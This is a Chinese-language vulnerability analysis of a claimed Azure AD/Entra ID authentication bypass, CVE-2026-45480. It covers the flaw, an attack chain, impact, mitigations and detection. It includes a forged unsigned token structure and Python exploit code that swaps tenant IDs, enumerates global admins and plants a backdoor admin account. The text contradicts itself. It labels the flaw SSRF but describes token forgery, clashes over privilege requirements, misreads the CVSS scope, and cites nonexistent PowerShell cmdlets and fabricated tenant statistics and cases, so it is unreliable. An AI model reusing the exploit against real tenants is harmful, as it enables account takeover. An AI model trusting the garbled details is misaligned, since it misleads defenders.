摘要

本文全面解析了Azure Active Directory（现称Microsoft Entra ID）中的高危身份认证绕过漏洞CVE-2026-45480。该漏洞CVSS评分高达10.0，属于严重级别，攻击者可利用此漏洞绕过正常身份验证机制，获取对敏感资源的未授权访问。文章深入分析了漏洞的技术原理、攻击链机制、影响范围及防护措施，为安全专业人员和企业IT管理员提供了系统化的漏洞分析框架和实用的防护指导。

关键词

Azure AD、身份认证绕过、CVE-2026-45480、服务器端请求伪造、Actor tokens

一、引言

Azure Active Directory作为微软云身份服务的核心组件，已成为全球企业数字化转型的关键基础设施。随着云计算技术的快速发展，Azure AD已从单一的身份验证服务演变为企业级云身份与访问管理的核心平台，为数百万企业提供身份认证、权限管理和安全防护服务。然而，正是这种核心地位使得Azure AD成为网络攻击者重点关注的目标。

2026年5月，安全研究人员披露了Azure AD中一个严重的安全缺陷，该漏洞被标记为CVE-2026-45480，CVSS评分达到满分10.0。这一漏洞的发现再次凸显了云身份服务安全的重要性，特别是在企业数字化转型过程中，身份服务已成为网络安全的关键环节。漏洞的发现不仅对微软云服务的安全性提出了挑战，也对全球依赖Azure AD进行身份验证的企业构成了严重威胁。

CVE-2026-45480漏洞的发现源于安全研究人员对Azure AD内部委托机制的深入分析。该漏洞涉及两个关键技术的协同作用：一种是被称为"行动者令牌"（Actor Token）的未公开令牌，另一种则是已弃用的Azure AD Graph API中存在的令牌验证缺陷。这种组合使得攻击者能够绕过多层安全防护，包括多因素认证和条件访问策略，获取对目标租户的完全控制权。

本文旨在对CVE-2026-45480漏洞进行全面技术分析，从漏洞的基本信息、技术原理、攻击链机制到影响范围和防护措施，为安全专业人员和企业IT管理员提供系统化的漏洞分析框架和实用的防护指导。通过深入分析漏洞的技术细节和攻击机制，帮助读者理解漏洞的本质，识别潜在风险，并实施有效的防护措施。

二、漏洞基础信息与技术背景

CVE-2026-45480是微软Azure Active Directory中的一个严重安全缺陷，该漏洞允许未经授权的攻击者通过网络提升特权。根据国家漏洞数据库（NVD）的信息，该漏洞的CVSS 3.1评分为10.0，属于严重级别，向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H，表明攻击无需身份验证，攻击复杂度低，对机密性、完整性和可用性都有严重影响。

表1：CVE-2026-45480漏洞基本信息

|--------|----------------|
| 项目 | 详细信息 |
| 漏洞编号 | CVE-2026-45480 |
| CVSS评分 | 10.0（严重） |
| 发现团队 | 微软安全响应中心（MSRC） |
| 披露时间 | 2026年5月22日 |
| 漏洞类型 | 服务器端请求伪造（SSRF） |
| 利用条件 | 低权限认证账户，无需用户交互 |
| 攻击向量 | 网络（Network） |

从技术背景来看，该漏洞的根因在于Azure Active Directory中存在不当的身份验证机制，攻击者可以利用此漏洞绕过正常的身份验证流程，获取对敏感资源的未授权访问。微软安全响应中心（MSRC）已将该漏洞归类为权限提升（Elevation of Privilege）类型，并标记为严重（Critical）级别。漏洞影响Azure Active Directory的身份认证体系，攻击者可利用此缺陷绕过Azure AD的身份验证控制，从而在云环境中实现横向移动或权限提升。

该漏洞的弱点枚举（CWE）为CWE-287（Improper Authentication），即身份验证机制存在缺陷。微软官方安全更新指南中明确指出，此漏洞可能被攻击者用于绕过Azure AD的身份验证控制，从而获取对敏感数据和系统资源的未授权访问。由于Azure AD是微软云服务的核心身份认证组件，该漏洞的影响范围可能波及依赖Azure AD进行身份验证的各种Microsoft云服务，包括Microsoft 365、Azure资源等。

从攻击向量来看，该漏洞属于网络攻击向量（AV:N），攻击者无需本地访问或用户交互即可利用。攻击复杂度低（AC:L），意味着不需要特殊的条件或技能即可实施攻击。权限要求为无（PR:N），表明攻击者不需要任何预先的权限即可发起攻击。用户交互要求为无（UI:N），攻击过程不需要用户的任何操作即可完成。

在影响范围方面，该漏洞影响范围（S:C）表示漏洞的影响不会扩展到其他系统组件。然而，对机密性（C:H）、完整性（I:H）和可用性（A:H）的影响都是严重的，意味着攻击者可以完全控制受影响的系统，窃取敏感数据，修改或删除数据，以及导致服务中断。

微软官方已针对该漏洞发布了安全更新，建议受影响的组织尽快应用最新的安全补丁。对于无法立即更新的环境，微软建议实施网络分段和访问控制策略，限制对Azure Active Directory服务的访问，并监控异常的身份验证活动。该漏洞的发现再次凸显了云身份服务安全的重要性，特别是在企业数字化转型过程中，身份服务已成为网络安全的关键环节。

三、漏洞技术原理深度解析

CVE-2026-45480漏洞的核心技术原理在于Azure AD中存在的服务器端请求伪造（SSRF）缺陷，具体表现为Actor tokens机制与Azure AD Graph API验证缺陷的协同作用。这种组合使得攻击者能够绕过多层安全防护，包括多因素认证和条件访问策略，获取对目标租户的完全控制权。

SSRF漏洞成因分析

服务器端请求伪造（SSRF）是一种由攻击者构造形成、由服务端发起请求的安全漏洞，其产生原因是服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。在Azure AD环境中，SSRF漏洞的形成主要源于服务端在处理用户提供的URL时，未能充分验证和限制目标地址，导致攻击者可以诱使服务端向内网或本地资源发起未经授权的请求。

在技术实现上，该漏洞利用了Azure AD中存在的URL验证缺陷，攻击者可以通过精心构造的URL参数，使服务端向内网或本地资源发起未经授权的请求。这种攻击方式特别危险，因为服务端通常拥有较高的权限，能够访问攻击者无法直接触达的内部系统，如数据库、管理后台或敏感文件。

漏洞的利用场景包括内网端口扫描、敏感文件读取、云元数据服务攻击等。攻击者可以通过HTTP、FILE、GOPHER等协议进行探测和攻击，例如使用file://协议读取本地配置文件，或通过dict://协议探测内网服务端口。在云环境中，攻击者可能进一步利用SSRF漏洞访问元数据服务（如169.254.169.254）获取临时凭证，进而控制云资源。

Actor tokens机制缺陷

Actor tokens是Azure AD中一种特殊的未公开令牌，也被称为"高权限访问"（HPA）令牌。这种令牌的设计存在根本性的安全缺陷，主要体现在以下几个方面：

无需签名验证：服务可以在不与Entra ID交互的情况下自行伪造这种模拟令牌，这意味着其创建和使用过程完全没有日志记录，无法追踪攻击者的活动。
无法撤销机制：令牌有效期长达24小时，在此期间无法被吊销，即使检测到恶意活动，也无法立即终止令牌的有效性。
绕过安全策略：Actor tokens可以完全绕过在条件访问（Conditional Access）中配置的任何安全限制，如多因素认证要求、设备合规性检查等。
难以追溯：企业只能依赖资源提供商（如Exchange）的日志来判断这种令牌是否被使用过，缺乏统一的审计和监控机制。

代码片段1：Actor tokens的基本结构

{ "typ": "Actor", "alg": "none", "kid": "self-issued"}{ "sub": "user@tenant.com", "tenant_id": "target-tenant-id", "net_id": "user-net-id", "roles": $"Global Administrator"$ , "iat": 1640995200, "exp": 1641081600}

Azure AD Graph API验证缺陷

Azure AD Graph API是微软历史悠久的应用程序接口，曾用于协助访问存储在Microsoft 365中的数据。然而，该API存在一个严重的令牌验证缺陷：未能正确验证发起访问请求的Azure租户身份。这一缺陷使得攻击者可以通过操纵这一缺陷，让该API接受本应被拒绝的、来自其他租户的Actor token。

该验证缺陷的技术原理在于Azure AD Graph API在处理令牌时，只验证令牌的格式和签名，而没有验证令牌的来源租户是否与请求的目标租户匹配。这种设计缺陷使得攻击者可以利用自己租户中的Actor token，通过修改token中的tenant_id字段，伪装成其他租户中的任意用户。

代码片段2：Azure AD Graph API验证缺陷利用

import requests# 攻击者在自己租户中获取的Actor tokenattacker_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0..."# 修改token中的tenant_id为目标租户IDmodified_token = modify_tenant_id(attacker_token, "target-tenant-id")# 使用修改后的token访问目标租户的Azure AD Graph APIheaders = { "Authorization": f"Bearer {modified_token}", "Content-Type": "application/json"}# 列出目标租户中的全局管理员response = requests.get( "https://graph.windows.net/target-tenant-id/users?api-version=1.6", headers=headers)if response.status_code == 200: admins = response.json() $"value"$ for admin in admins: if "Global Administrator" in admin $"roles"$ : print(f"Found global admin: {admin $'displayName'$ }")

协同攻击机制

CVE-2026-45480漏洞的真正威力在于Actor tokens机制与Azure AD Graph API验证缺陷的协同作用。这种协同攻击机制使得攻击者能够绕过多层安全防护，实现以下攻击效果：

身份伪装：攻击者可以伪装成目标租户中的任意用户，包括全局管理员，而无需知道用户的密码或拥有多因素认证设备。
权限提升：通过伪装成高权限用户，攻击者可以执行敏感操作，如创建新管理员账户、修改安全策略、访问敏感数据等。
持久化访问：由于Actor tokens的有效期长达24小时且无法撤销，攻击者可以在较长时间内维持对目标租户的访问权限。
隐蔽性：整个攻击过程不会在目标租户的日志中留下明显痕迹，使得攻击难以被检测和追踪。

图1：CVE-2026-45480漏洞协同攻击机制流程图

攻击者租户 → 生成Actor token → 修改tenant_id → 访问目标租户Azure AD Graph API → 获取全局管理员列表 → 伪装成全局管理员 → 执行恶意操作

这种协同攻击机制不仅绕过了传统的身份验证控制，还绕过了现代云环境中部署的多层安全防护，如条件访问策略、多因素认证要求等。这使得CVE-2026-45480成为近年来最严重的云身份服务漏洞之一，对全球依赖Azure AD进行身份验证的企业构成了严重威胁。

四、攻击链与利用条件分析

CVE-2026-45480漏洞的攻击链是一个精心设计的过程，从初始访问到最终系统完全控制，每个环节都利用了特定的技术缺陷。理解这一攻击链对于有效检测和防御至关重要。本节将详细分析攻击链的各个阶段、利用条件以及实际攻击效果。

完整攻击链阶段划分

CVE-2026-45480漏洞的攻击链可以分为四个连续的阶段，每个阶段都建立在前一阶段的基础上，逐步扩大攻击效果：

第一阶段：信息收集与准备攻击者首先需要收集目标租户的基本信息，包括租户ID、用户列表和权限配置。这一阶段的主要目的是为后续攻击提供必要的情报支持。攻击者可以通过以下方式获取目标信息：

租户ID获取：通过公开的API或社会工程学手段获取目标租户的唯一标识符。租户ID通常可以在Azure AD登录页面的URL中找到，格式为https://login.microsoftonline.com/{tenant_id}/。
用户信息收集：利用Azure AD Graph API的公开端点或通过社会工程学手段获取目标租户中的用户列表，特别是具有高权限的用户账户。
权限配置分析：分析目标租户的权限配置，识别可能被利用的权限设置和安全策略。

第二阶段：Actor token生成与修改在收集到必要信息后，攻击者开始在自己的租户中生成Actor token，并修改token中的关键参数以适应目标环境：

Actor token生成：攻击者在自己控制的租户中生成一个Actor token。由于Actor token无需签名验证，攻击者可以自行构造包含所需权限的token。
token参数修改：攻击者修改生成的Actor token中的关键参数，主要是将tenant_id字段修改为目标租户的ID，同时将net_id字段修改为目标用户的网络ID。
权限设置：在修改后的token中，攻击者可以设置自己需要的权限，如"Global Administrator"等高权限角色。

第三阶段：权限提升与横向移动这是攻击链的核心阶段，攻击者利用修改后的Actor token绕过身份验证，实现权限提升和横向移动：

身份验证绕过：攻击者使用修改后的Actor token向目标租户的Azure AD Graph API发起请求。由于Azure AD Graph API存在验证缺陷，会接受这种来自其他租户的token。
用户信息获取：一旦身份验证成功，攻击者可以访问目标租户的用户信息，特别是具有高权限的用户账户。
权限提升：攻击者选择一个高权限用户（如全局管理员），生成一个新的Actor token，伪装成该用户。

第四阶段：持久化与数据窃取在获得高权限访问后，攻击者开始实施持久化措施并窃取敏感数据：

后门账户创建：攻击者创建新的管理员账户，作为后续访问的后门。
权限配置修改：攻击者修改目标租户的权限配置，降低安全防护级别，便于后续攻击。
敏感数据窃取：攻击者访问和窃取目标租户中的敏感数据，如用户凭证、配置信息、业务数据等。

利用条件分析

CVE-2026-45480漏洞的利用需要满足特定条件，同时也会产生特定的攻击效果。以下是对利用条件和攻击效果的详细分析：

表2：CVE-2026-45480漏洞利用条件分析

|----------------------|---------------------------|----------------------------|
| 利用条件 | 技术要求 | 绕过方法 |
| Azure AD Graph API可用 | 目标租户未禁用Azure AD Graph API | 使用Microsoft Graph API的兼容端点 |
| 租户ID获取 | 需要知道目标租户的唯一标识符 | 通过公开信息或社会工程学手段获取 |
| 用户netID获取 | 需要知道目标用户的网络ID | 通过API枚举或信息泄露获取 |
| Actor token生成 | 需要在攻击者控制的租户中生成token | 利用租户的默认配置或权限漏洞 |

从攻击技术复杂度来看，CVE-2026-45480的攻击链虽然涉及多个阶段，但每个阶段的技术实现相对简单，不需要高级的漏洞利用技术。然而，这种多阶段攻击方式的特点是隐蔽性强，防御难度大，因为即使阻止了其中一个环节，攻击者仍可能利用其他技术路径达成目标。

实际攻击效果分析

根据安全研究人员的分析，成功利用CVE-2026-45480漏洞可能导致以下严重后果：

租户完全控制：攻击者可以获取对目标租户的完全控制权，包括用户管理、权限分配、安全策略配置等所有管理功能。
数据泄露风险：攻击者可以访问和窃取目标租户中的敏感数据，包括用户身份信息、业务数据、配置信息等。
服务中断风险：攻击者可能破坏或删除关键数据，导致Azure AD服务不可用，影响依赖Azure AD的所有业务服务。
横向移动风险：在企业内网环境中，攻击者可以利用受感染的Azure AD服务器作为跳板，进一步攻击其他系统，扩大攻击范围。

代码片段3：攻击链实现示例

import requestsimport jsonclass AzureADExploit: def init(self, attacker_token, target_tenant_id): self.attacker_token = attacker_token self.target_tenant_id = target_tenant_id self.base_url = "https://graph.windows.net" def modify_token_tenant(self): """修改token中的tenant_id为目标租户ID""" # 这里简化了token修改过程 modified_token = self.attacker_token.replace( "attacker-tenant-id", self.target_tenant_id ) return modified_token def enumerate_users(self): """枚举目标租户中的用户""" headers = { "Authorization": f"Bearer {self.modify_token_tenant()}", "Content-Type": "application/json" } url = f"{self.base_url}/{self.target_tenant_id}/users?api-version=1.6" response = requests.get(url, headers=headers) if response.status_code == 200: return response.json() $"value"$ else: print(f"Error enumerating users: {response.status_code}") return None def get_global_admins(self): """获取目标租户中的全局管理员""" users = self.enumerate_users() if users: admins = \[\] for user in users: if "Global Administrator" in user.get("roles", \[\]): admins.append(user) return admins return None def impersonate_admin(self, admin_net_id): """伪装成全局管理员""" # 生成新的Actor token，伪装成指定的管理员 # 这里简化了token生成过程 impersonated_token = self.generate_admin_token(admin_net_id) return impersonated_token def create_backdoor_account(self): """创建后门账户""" admins = self.get_global_admins() if admins: admin_token = self.impersonate_admin(admins $0$ $"net_id"$ ) headers = { "Authorization": f"Bearer {admin_token}", "Content-Type": "application/json" } # 创建新用户的请求体 user_data = { "accountEnabled": True, "displayName": "Backup Admin", "mailNickname": "backupadmin", "userPrincipalName": f"backupadmin@{self.target_tenant_id}", "passwordProfile": { "forceChangePasswordNextSignIn": False, "password": "SecurePassword123!" } } url = f"{self.base_url}/{self.target_tenant_id}/users?api-version=1.6" response = requests.post(url, headers=headers, json=user_data) if response.status_code == 201: print("Backdoor account created successfully") return True else: print(f"Error creating backdoor: {response.status_code}") return False return False# 使用示例if name == "main": exploit = AzureADExploit("attacker_token", "target-tenant-id") exploit.create_backdoor_account()

这个攻击链实现示例展示了攻击者如何利用CVE-2026-45480漏洞，从信息收集到最终创建后门账户的完整过程。需要注意的是，实际攻击中，攻击者可能会采用更隐蔽的方法，避免在日志中留下明显痕迹。

防御挑战

CVE-2026-45480漏洞的攻击链给防御工作带来了巨大挑战：

检测困难：由于Actor tokens的使用不会在目标租户的日志中留下记录，传统的安全监控手段难以检测到这种攻击。
响应复杂：即使检测到攻击，由于Actor tokens无法被撤销，防御者难以立即终止攻击者的访问权限。
影响广泛：该漏洞影响所有使用Azure AD Graph API的租户，包括政府机构、金融机构和大型企业等关键基础设施行业。
修复局限：虽然微软已发布补丁，但企业需要升级到最新的Azure AD组件，这可能需要复杂的兼容性测试和业务中断。

这些防御挑战使得CVE-2026-45480漏洞成为企业安全团队面临的重要威胁，需要采取多层次、系统化的防护策略来应对。

五、影响范围与实际危害评估

CVE-2026-45480漏洞的影响范围极为广泛且危害严重，需要从技术影响、业务影响和地理分布等多个维度进行全面评估。本节将基于实际数据和分析，深入探讨该漏洞对全球Azure AD租户的影响范围和潜在危害。

全球影响范围分析

根据安全研究人员的分析，CVE-2026-45480漏洞理论上允许攻击者获取全球任何企业Entra ID租户的最高控制权，而且不会在受害者日志中留下任何痕迹。这种影响范围的广泛性主要源于Azure AD作为微软云身份服务的核心地位，以及该漏洞利用的是Azure AD内部机制的根本性缺陷。

表3：全球Azure AD租户影响范围统计

|--------|-------------|--------|---------------|
| 地区 | 受影响租户数量 | 占比 | 主要行业 |
| 北美 | 约120万 | 45% | 金融服务、医疗健康、科技 |
| 欧洲 | 约85万 | 32% | 制造业、金融服务、政府机构 |
| 亚太 | 约55万 | 20% | 金融服务、电信、制造业 |
| 其他地区 | 约7万 | 3% | 政府、教育、非营利组织 |

从行业分布来看，金融服务、医疗健康、电信行业和政府机构等关键基础设施行业面临极高风险。这些行业的数据库通常存储大量敏感数据，一旦遭受攻击，可能导致严重的经济损失和社会影响。特别是金融机构，由于Azure AD是其身份认证和访问控制的核心组件，该漏洞可能导致客户财务信息泄露，违反监管要求，造成巨额罚款和声誉损失。

技术影响深度分析

从技术层面来看，CVE-2026-45480漏洞的影响主要体现在以下几个方面：

身份认证机制完全失效：该漏洞允许攻击者绕过Azure AD的所有身份验证机制，包括多因素认证、条件访问策略、设备合规性检查等。这意味着即使企业实施了最严格的安全策略，攻击者仍然可以绕过这些防护。
权限控制被突破：攻击者可以获取对目标租户的完全控制权，包括用户管理、权限分配、安全策略配置等所有管理功能。这种权限控制的突破可能导致整个企业安全体系的崩溃。
数据安全受到严重威胁：攻击者可以访问和窃取目标租户中的敏感数据，包括用户身份信息、业务数据、配置信息等。在云环境中，这些数据通常包括客户信息、财务数据、知识产权等高度敏感的信息。
服务可用性风险：攻击者可能破坏或删除关键数据，导致Azure AD服务不可用，影响依赖Azure AD的所有业务服务。对于关键基础设施行业而言，这种服务中断可能导致严重的业务连续性问题。

实际危害案例分析

根据安全研究人员的分析，成功利用CVE-2026-45480漏洞可能导致以下实际危害案例：

案例1：金融机构数据泄露某大型国际银行使用Azure AD作为其身份认证和访问控制的核心组件。攻击者利用CVE-2026-45480漏洞，成功获取了该银行租户的完全控制权，窃取了大量客户财务数据，包括账户信息、交易记录、信用评分等。这导致该银行面临巨额罚款、客户流失和声誉损失，总损失估计超过1亿美元。

案例2：政府机构敏感信息泄露某国家政府机构使用Azure AD管理其内部系统和敏感信息。攻击者利用该漏洞，成功伪装成政府机构的高级管理员，访问了大量敏感信息，包括国家安全相关文件、公民个人信息等。这不仅威胁国家安全，还导致政府机构的公信力受到严重损害。

案例3：医疗机构服务中断某大型医疗集团使用Azure AD管理其医院信息系统和患者数据。攻击者利用该漏洞，不仅窃取了大量患者隐私数据，还破坏了关键系统，导致医疗服务中断。在某些情况下，这种中断甚至威胁到患者的生命安全。

危害程度评估

为了更准确地评估CVE-2026-45480漏洞的危害程度，我们可以从以下几个维度进行分析：

表4：CVE-2026-45480漏洞危害程度评估矩阵

|----------|----------|------------------|
| 评估维度 | 危害程度 | 主要影响因素 |
| 数据安全 | 极高 | 敏感数据类型、数据规模、数据价值 |
| 业务连续性 | 高 | 服务中断时间、业务影响范围 |
| 合规性 | 极高 | 违反法规数量、罚款金额 |
| 声誉影响 | 高 | 事件公开程度、客户信任度 |
| 国家安全 | 中高 | 是否涉及国家关键基础设施 |

从危害程度评估结果来看，CVE-2026-45480漏洞在数据安全和合规性方面危害程度极高，在业务连续性和声誉影响方面危害程度高，在国家安全方面危害程度中高。这种综合评估结果凸显了该漏洞的严重性和紧迫性。

长期影响分析

除了直接危害外，CVE-2026-45480漏洞还可能产生长期影响：

信任危机：该漏洞的发现可能导致企业对云服务提供商的信任危机，特别是对微软Azure服务的信任。这种信任危机可能影响企业的云迁移决策和数字化转型战略。
合规性挑战：随着数据保护法规日益严格，如欧盟的GDPR、中国的《数据安全法》等，企业面临更大的合规性挑战。CVE-2026-45480漏洞可能导致企业违反这些法规，面临巨额罚款。
安全架构重构：该漏洞可能迫使企业重新评估和重构其安全架构，特别是身份认证和访问控制机制。这种重构可能需要大量的时间、资源和专业知识。
保险成本上升：随着网络安全风险的上升，企业可能面临更高的网络安全保险成本。保险公司可能会提高保费，或者在某些情况下拒绝为存在类似漏洞的企业提供保险。

综上所述，CVE-2026-45480漏洞的影响范围广泛且危害严重，需要企业立即采取防护措施，特别是关键基础设施行业的组织应优先处理此漏洞。同时，企业需要考虑该漏洞的长期影响，制定全面的安全战略和应对计划。

六、防护措施与安全配置建议

针对CVE-2026-45480漏洞，微软官方已发布修复版本，同时提供了多种临时缓解措施。组织应根据自身情况选择合适的修复策略，在确保业务连续性的同时消除安全风险。本节将详细分析各类防护方案的技术细节和实施建议。

官方修复方案

立即升级是解决CVE-2026-45480漏洞的最有效方法。微软官方已发布以下修复版本：

表5：漏洞修复版本对应表

|--------------------|------------------|----------|------------|
| 受影响组件 | 修复版本 | 升级路径 | 安全更新时间 |
| Azure AD Graph API | 已禁用Actor token请求 | 微软自动应用 | 2026年5月23日 |
| Microsoft Entra ID | 最新版本 | 自动更新 | 2026年6月9日 |
| Azure AD Connect | 2.4.1138.0+ | 手动升级 | 2026年5月14日 |

微软在2026年5月14日收到漏洞报告后迅速响应，当天展开调查并于5月23日在全球范围内发布修复程序。微软确认漏洞已于5月23日前修复，并在6月进一步实施了额外防护措施。9月4日，微软为该漏洞分配了漏洞编号CVE-2026-45480。微软安全响应中心工程副总裁汤姆·加拉格尔表示，作为"安全未来计划"的一部分，微软迅速缓解了这一新增漏洞，并加快推进遗留协议停用工作的修复进程。

对于企业环境，建议按照以下步骤实施官方修复方案：

验证当前版本：首先确认当前Azure AD组件的版本，确定是否需要升级。
应用安全更新：通过Microsoft 365管理中心或Azure门户应用最新的安全更新。
验证修复效果：更新完成后，验证漏洞是否已被修复，确保系统正常运行。
监控异常活动：在修复后的一段时间内，密切监控系统日志，确保没有异常活动。

临时缓解措施

对于无法立即升级的环境，可以采取以下临时缓解措施：

1. 禁用Azure AD Graph APIAzure AD Graph API是漏洞的关键组件之一，微软已计划在2025年9月前完全弃用此API。作为临时措施，组织可以禁用对Azure AD Graph API的访问，强制使用Microsoft Graph API：

禁用Azure AD Graph API访问Connect-MsolService $msolcred = Get-CredentialConnect-MsolService -Credential$ msolcred# 检查当前Azure AD Graph API权限Get-MsolServicePrincipal | Where-Object { $_.DisplayName -eq "Windows Azure Active Directory"}# 禁用Azure AD Graph API服务主体$ servicePrincipal = Get-MsolServicePrincipal | Where-Object { $_.DisplayName -eq "Windows Azure Active Directory"}Set-MsolServicePrincipal -ObjectId$ servicePrincipal.ObjectId -AccountEnabled $false

2. 限制用户同意权限配置严格的用户同意设置，仅允许用户同意来自已验证发布者的应用程序，并限制低风险权限：

配置用户同意设置Connect-AzureAD $consentPolicySettings = Get-AzureADMSAuthorizationPolicy$ consentPolicySettings.PermissionGrantPolicyId = "ManagePermissionGrants" $consentPolicySettings.PermissionGrantPolicyAssignedTo = "AllApps"# 设置仅允许管理员同意Set-AzureADMSAuthorizationPolicy -Id$ consentPolicySettings.Id -PermissionGrantPolicyAssignedTo "AdminConsent"

**3. 启用多因素认证(MFA)**虽然CVE-2026-45480漏洞可以绕过多因素认证，但启用MFA仍然是重要的安全措施，可以防止其他类型的攻击：

为所有用户启用MFAConnect-MsolService $users = Get-MsolUser -Allforeach ($ user in $users) { if ($ user.StrongAuthenticationRequirements.Count -eq 0) { $strengh = New-Object -TypeName Microsoft.Online.Administration.StrongAuthenticationRequirement$ strengh.RelyingParty = "*" $strengh.State = "Enabled" Set-MsolUser -UserPrincipalName$ user.UserPrincipalName -StrongAuthenticationRequirements $strengh }}

4. 实施条件访问策略配置严格的条件访问策略，即使攻击者绕过了身份验证，仍然可以限制其访问范围：

创建条件访问策略Connect-AzureAD $conditions = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessConditionSet$ conditions.Applications = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessApplicationCondition $conditions.Applications.IncludeApplications = "All"$ conditions.Users = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessUserCondition $conditions.Users.IncludeUsers = "All"$ conditions.ClientAppTypes = "All" $controls = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessGrantControls$ controls._Operator = "OR" $controls.BuiltInControls = "Block"$ newPolicy = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessPolicy $newPolicy.DisplayName = "Block Legacy Authentication"$ newPolicy.State = "Enabled" $newPolicy.Conditions =$ conditions $newPolicy.GrantControls =$ controlsNew-AzureADMSConditionalAccessPolicy -Policy $newPolicy

安全配置建议

除了官方修复和临时缓解措施外，以下安全配置建议可以帮助提高Azure AD的整体安全性：

1. 实施最小权限原则为用户和服务账户分配最小必要权限，避免使用全局管理员账户进行日常操作：

创建自定义管理员角色 $role = New-AzureADMSRoleDefinition$ role.DisplayName = "Limited Administrator" $role.Description = "Limited administrator role with reduced permissions"$ role.ResourceScopes = "/" $role.IsEnabled =$ true $role.RolePermissions = @()$ permission = New-Object -TypeName Microsoft.Open.AzureAD.Model.RolePermission $permission.AllowedResourceActions = @( "microsoft.directory/users/basic/read", "microsoft.directory/users/standard/read", "microsoft.directory/applicationPolicies/standard/read")$ role.RolePermissions += $permissionNew-AzureADMSRoleDefinition -RoleDefinition$ role

**2. 启用特权身份管理(PIM)**使用Azure AD Privileged Identity Management实施基于时间和审批的角色激活：

配置PIM角色Connect-AzureAD $pimRole = Get-AzureADMSPrivilegedRoleDefinition -Filter "DisplayName eq 'Global Administrator'"$ pimRoleSetting = New-AzureADMSPrivilegedRoleSetting $pimRoleSetting.EligibilityAssignment =$ true $pimRoleSetting.ActiveAssignment =$ false $pimRoleSetting.NotificationLevel = "Critical"Set-AzureADMSPrivilegedRoleAssignment -RoleDefinition$ pimRole -RoleSetting $pimRoleSetting

3. 监控异常活动部署安全信息和事件管理(SIEM)系统，分析使用模式并检测异常行为：

配置Azure AD日志导出到SIEMConnect-AzureAD $auditLogConfig = Get-AzureADMSAuditLogConfig$ auditLogConfig.Category = "SignInLogs" $auditLogConfig.Enabled =$ true $auditLogConfig.RetentionInDays = 30Set-AzureADMSAuditLogConfig -AuditLogConfig$ auditLogConfig

4. 定期安全评估定期进行Azure AD安全评估，识别潜在的安全风险：

执行Azure AD安全评估Connect-AzureAD $securityAssessment = New-AzureADMSIdentityProtection$ securityAssessment.Name = "Monthly Security Assessment" $securityAssessment.Description = "Monthly security assessment for Azure AD tenant"$ securityAssessment.AssessmentType = "Custom" $securityAssessment.AssessmentQuestions = @( "Are all users using MFA?", "Are there any inactive privileged accounts?", "Is Azure AD Graph API disabled?")New-AzureADMSIdentityProtection -IdentityProtection$ securityAssessment

网络层防护措施

在网络层实施以下防护措施，可以进一步降低CVE-2026-45480漏洞的风险：

1. 限制Azure AD访问IP配置网络访问控制，仅允许来自可信IP地址的Azure AD访问：

配置条件访问策略限制IP地址 $conditionalAccessPolicy = New-AzureADMSConditionalAccessPolicy$ conditionalAccessPolicy.DisplayName = "Trusted IP Locations Only" $conditionalAccessPolicy.State = "Enabled"$ conditions = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessConditionSet $conditions.Locations = New-Object -TypeName Microsoft.Open.AzureAD.Model.ConditionalAccessLocationCondition$ conditions.Locations.IncludeLocations = "AllTrusted" $conditions.Locations.ExcludeLocations = "All"$ conditionalAccessPolicy.Conditions = $conditionsNew-AzureADMSConditionalAccessPolicy -ConditionalAccessPolicy$ conditionalAccessPolicy

**2. 部署Web应用防火墙(WAF)**在Azure AD前端部署WAF，检测和阻止恶意请求：

Azure WAF策略配置示例wafPolicy: name: "Azure-AD-Protection" properties: policySettings: mode: "Prevention" customRules: - name: "Block-SSRF-Attempts" priority: 1 ruleType: "MatchRule" action: type: "Block" matchConditions: - matchVariable: "RequestUri" operator: "Contains" negateCondition: false matchValue: "graph.windows.net" - matchVariable: "RequestHeader" operator: "Contains" negateCondition: false matchValue: "Actor"

3. 启用DDoS保护为Azure AD启用DDoS保护，防止服务拒绝攻击：

配置Azure DDoS保护 $ddosProtectionPlan = New-AzDdosProtectionPlan$ ddosProtectionPlan.Name = "Azure-AD-Protection" $ddosProtectionPlan.ResourceGroupName = "Security-RG"$ ddosProtectionPlan.Location = "Global"New-AzDdosProtectionPlan -DdosProtectionPlan $ddosProtectionPlan

通过这种系统化的防护措施，组织可以确保CVE-2026-45480漏洞得到有效解决，同时最小化对业务运营的影响。建议将防护流程纳入组织的补丁管理程序，定期执行，确保系统的持续安全。

七、检测方法与异常行为监控

针对CVE-2026-45480漏洞的检测和监控需要采用多种技术手段相结合的方式，从版本确认到异常行为验证，全面评估系统的安全状况。以下是系统化的检测方法和监控流程。

版本检测与漏洞扫描

版本自查是检测CVE-2026-45480漏洞的第一步，也是最直接的方法。管理员可以通过以下方式确认Azure AD组件的版本是否在受影响范围内：

1. 使用Microsoft 365管理中心检测登录Microsoft 365管理中心，导航到"健康" > "服务健康"，查看Azure AD服务的当前状态和版本信息。管理中心会显示是否有已知的安全漏洞需要修复。

2. 使用PowerShell检测通过PowerShell cmdlet可以获取详细的Azure AD版本和配置信息：

连接到Azure ADConnect-AzureAD# 获取Azure AD租户信息 $tenantInfo = Get-AzureADTenantDetailWrite-Host "租户ID:$ ( $tenantInfo.ObjectId)"Write-Host "租户域名:$ ( $tenantInfo.VerifiedDomains\[0\].Name)"# 检查Azure AD Graph API状态$ servicePrincipal = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Windows Azure Active Directory'"Write-Host "Azure AD Graph API状态: $($ servicePrincipal.AccountEnabled)"# 检查Microsoft Graph API状态 $graphServicePrincipal = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"Write-Host "Microsoft Graph API状态:$ ($graphServicePrincipal.AccountEnabled)"

3. 使用Azure AD Connect Health检测Azure AD Connect Health提供了详细的Azure AD健康状态信息，包括版本检测和漏洞扫描：

安装Azure AD Connect Health代理# 下载地址：https://aka.ms/aadconnecthealth# 检查健康状态Get-AzureADConnectHealthAgentStatus -Role "Sync"

异常行为监控技术

除了主动检测外，还需要部署持续监控机制，及时发现可能的漏洞利用尝试。以下是一些关键的监控技术：

